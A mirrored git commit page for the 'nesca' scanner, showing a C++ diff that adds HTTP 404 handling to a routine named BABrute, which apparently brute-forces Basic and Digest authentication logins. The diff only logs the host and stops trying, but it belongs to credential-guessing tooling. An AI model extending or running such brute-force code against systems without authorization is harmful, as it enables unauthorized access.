mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-25 17:11:45 +00:00
404 BasicAuth check implemented.
This commit is contained in:
parent
40c380197e
commit
a9152d56c8
@ -14,6 +14,11 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
||||
) {
|
||||
return 1;
|
||||
}
|
||||
else if (Utils::ustrstr(*buffer, "http/1.1 404") != -1
|
||||
|| Utils::ustrstr(*buffer, "http/1.0 404") != -1) {
|
||||
stt->doEmitionRedFoundData("BA - 404 " + QString(ip) + ":" + QString::number(port));
|
||||
return -2;
|
||||
}
|
||||
else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1
|
||||
|| Utils::ustrstr(*buffer, "http/1.1 503") != -1
|
||||
|| Utils::ustrstr(*buffer, "http/1.0 503") != -1
|
||||
@ -70,6 +75,7 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
if (res == -2) return lps;
|
||||
else if (res != -1) {
|
||||
res = checkOutput(&buffer, ip, port);
|
||||
if (res == -2) return lps;
|
||||
if (res == -1) {
|
||||
++i;
|
||||
break;
|
||||
|
Loading…
Reference in New Issue
Block a user